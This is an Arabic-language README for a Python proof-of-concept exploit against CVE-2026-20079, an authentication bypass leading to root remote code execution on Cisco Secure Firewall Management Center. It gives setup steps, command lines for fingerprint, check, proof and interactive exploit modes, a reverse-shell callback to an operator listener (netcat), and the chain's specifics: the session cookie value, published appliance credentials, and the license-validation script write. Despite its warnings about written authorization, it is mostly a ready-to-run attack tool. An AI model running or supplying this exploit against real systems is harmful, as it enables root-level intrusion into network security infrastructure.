
ينفّذ سلسلة CVE-2026-20079 لتجاوز المصادقة وصولًا إلى RCE بصلاحيات الجذر ضد Cisco Secure FMC باستخدام أوضاع fingerprint و check و proof والاستغلال التفاعلي.
إثبات مفهوم بلغة Python لسلسلة تجاوز المصادقة إلى تنفيذ أوامر عن بُعد بصلاحيات الجذر (authentication-bypass-to-root-RCE) الموثّقة علنًا في Cisco Secure Firewall Management Center ضمن CVE-2026-20079.
هذه ليست ثغرة جديدة ولا سلسلة استغلال مطوّرة بشكل مستقل. إنها تنفيذ نظيف الغرفة (clean-room) لتسلسل الطلبات الذي نشرته VulnCheck، مع أوضاع منفصلة للبصمة، والفحص المرحلي، والإثبات أحادي الطلقة، والاستغلال التفاعلي.
يتطلب Python 3.10 أو أحدث. على Linux أو macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
جميع قيم 192.0.2.x أدناه هي عناوين توثيق محجوزة. وهي عناصر نائبة، وليست معلومات هدف مكتشفة، ويجب استبدالها بقيم من التقييم المصرّح به. لا يُتوقع أن تعمل الأوامر دون تغيير.
| مثال | المعنى | ما يجب استخدامه بدلاً منه |
|---|---|---|
https://192.0.2.10 | عنوان URL الخاص بـ FMC الهدف | المخطط والعنوان والمنفذ الدقيق لـ FMC المصرّح به |
192.0.2.20 | العنوان الذي يتصل منه FMC عائداً | عنوان IP أو اسم DNS لمستمع المشغّل كما يمكن الوصول إليه من FMC |
192.0.2.0/24 | نطاق CIDR نموذجي للبصمة | نطاق شبكة مصرّح به صراحةً |
4444 | منفذ TCP للاستدعاء العائد/المستمع | منفذ مُعتمد يمكن الوصول إليه على نظام الاستدعاء العائد |
0.0.0.0 | المكان الذي يرتبط به المستمع على نظام المشغّل | أبقِه للاستماع على جميع الواجهات المحلية، أو استخدم عنوان واجهة محلية واحدة |
192.0.2.10 في --expected-callback-source | المصدر المتوقع للاستدعاء العائد | عنوان مصدر FMC كما يرصده المستمع؛ احذف هذا الخيار عندما يجعل NAT الأمر غير مؤكد |
http://127.0.0.1:8080 | وكيل اعتراض محلي اختياري | عنوان URL للوكيل الذي يستمع فعلياً على نظام المشغّل |
--callback-hostاستخدم هذه القاعدة: من وجهة نظر FMC، أي عنوان يصل إلى مستمع المشغّل؟ ذلك العنوان هو --callback-host.
| مسار الشبكة | قيمة --callback-host النموذجية |
|---|---|
| المشغّل وFMC على نفس الشبكة الموجّهة | عنوان eth0 أو en0 أو أي عنوان LAN آخر يمكن الوصول إليه على نظام المشغّل |
| يصل المشغّل إلى FMC عبر VPN | عنوان واجهة VPN الذي يمكن الوصول إليه، مثل tun0 أو utun، عندما يكون لدى FMC مسار إليه |
| المشغّل خلف NAT أو جدار حماية | عنوان IP العام أو اسم DNS الذي يُعاد توجيه المنفذ المحدد منه إلى نظام المشغّل |
| يُستخدم نفق استدعاء عائد أو VPS | نقطة نهاية النفق التي يمكن الوصول إليها أو عنوان VPS |
لا تستخدم 127.0.0.1 أو 0.0.0.0 من أجل --callback-host. فـ 127.0.0.1 سيشير إلى FMC نفسه، بينما 0.0.0.0 هو قيمة ربط للمستمع، وليس وجهة. تأكد من أن التوجيه وقواعد جدار الحماية وأي إعادة توجيه للمنافذ تسمح لـ FMC بالوصول إلى --callback-host على --callback-port.
--listen-host محلي فقط: فهو يحدد الواجهة التي ينتظر عليها المستمع المدمج. قيمته الافتراضية، 0.0.0.0، تستمع على كل واجهة محلية. وهو لا يخبر FMC بمكان الاتصال. لذلك، قد يختلف --callback-host و--listen-host، خاصةً عبر NAT.
افترض هذا المختبر الخيالي المخصص للتوثيق فقط:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
تُعيّن القيم الأمر على النحو التالي:
--target https://192.0.2.10 يحدد الـ FMC الذي تتم تقييمه.--callback-host 192.0.2.20 هو عنوان eth0 لنظام المشغّل لأن
الـ FMC يمكنه التوجيه إليه مباشرةً.--callback-port 4444 هو منفذ TCP المعتمد الذي يستخدمه الـ callback.--listen-host 0.0.0.0 يجعل المستمع المدمج يقبل الـ callback على
أي واجهة محلية، بما في ذلك eth0.سيكون أمر إثبات لمرة واحدة لذلك المثال كما يلي:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
المسار هو: يرسل المشغّل طلبات HTTPS إلى 192.0.2.10، ثم يتصل الـ FMC مرة أخرى بعنوان المشغّل 192.0.2.20:4444. في تقييم حقيقي، استبدل كلا عنوانَي IP وتأكد من مسار العودة قبل تشغيل الأمر. إذا تعذّر على الـ FMC الوصول إلى عنوان eth0 الخاص بالمشغّل، فاستخدم بدلاً من ذلك عنوان VPN أو NAT أو النفق أو VPS القابل للوصول الموصوف أعلاه.
| الوضع | تأثير الشبكة أو الهدف | الدليل أو النتيجة |
|---|---|---|
--fingerprint | طلبات GET فقط | سطح ويب محتمل لـ FMC؛ وليس تأكيدًا لوجود ثغرة |
--check | طلبا GET على الأكثر؛ دون ترقية للجلسة | تطابق نمط استجابة التجاوز المعروف كليًا أو جزئيًا |
--check --intrusive | يرقّي حالة الجلسة على جانب الخادم | تجاوز المصادقة والوصول إلى رمز إجراء |
--proof | يكتب ويشغّل حمولة استدعاء عكسي محدودة | تنفيذ بصلاحيات الجذر مع التنظيف، دون صدفة تفاعلية |
--exploit | يكتب ويشغّل حمولة FIFO/netcat | استدعاء عكسي تفاعلي بصلاحيات الجذر، أو تحقق محدود باستخدام --auto-verify |
عيّن القيم الثلاث المثالية مرة واحدة، مع استبدال كل منها بالهدف المصرّح به، وعنوان الاستدعاء العكسي للمشغّل، والمنفذ:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
ثم اختر وضعًا واحدًا فقط:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] البصمة هي خطوة تعريف بالمنتج قائمة على الاستدلال، وليست فحصًا للثغرات. لا تُثبت
MATCHوLIKELYأن الهدف متأثر أو قابل للاستغلال، كما أنNO_MATCHلا يستبعد وجود FMC. قد تؤثر الوكلاء العكسية، أو صفحات تسجيل الدخول المخصصة، أو ضوابط الوصول، أو أعطال الشبكة، أو تغيّرات المنتج في النتيجة.
ترسل عملية البصمة طلبات شبكة لكنها لا تشغّل تجاوز المصادقة أو سلسلة RCE. يرسل الفحص الافتراضي ملف تعريف الجلسة الخاص إلى نقطة نهاية معلومات محمية، لكنه لا يرسل بيانات اعتماد ولا يرقّي الجلسة. اقرأ تفاصيل التصنيف، وأوصاف الأوضاع، وتحذير حالة الجلسة أدناه قبل استخدام أي وضع تحقق.
[!WARNING] لا تشغّل
--checkأو--proofأو--exploitدون تفويض كتابي صريح. يجب أن يغطي التفويض الخاص بأوضاع--check --intrusiveوالتحقق من الصحة والاستغلال تغييرات أهدافها وطريقة التحقق. اقرأ المتطلب الأساسي، وقيود حالة الجلسة، ومتطلبات الاستدعاء العكسي أولًا.
توفّر السلسلة النشطة CGISESSID=csm_processes إلى /login.cgi?logon=Continue، وتستخدم بيانات اعتماد الجهاز المنشورة report:snortrules، وتستخرج sf_action_id من /ui/user/general، وتكتب سكربت بصيغة Makeself عبر validateLicense، ثم تشغّله عبر SF::UI::DataObjectLibrary::upgradeReadinessCall.
يحوّل مُسلسِل JSON فقط التتابعات التي تمثّل أسطر سكربت فعلية إلى \u000A. تبقى تتابعات \n الحرفية ومحتوى الشرطة العكسية الآخر في الأمر دون تغيير.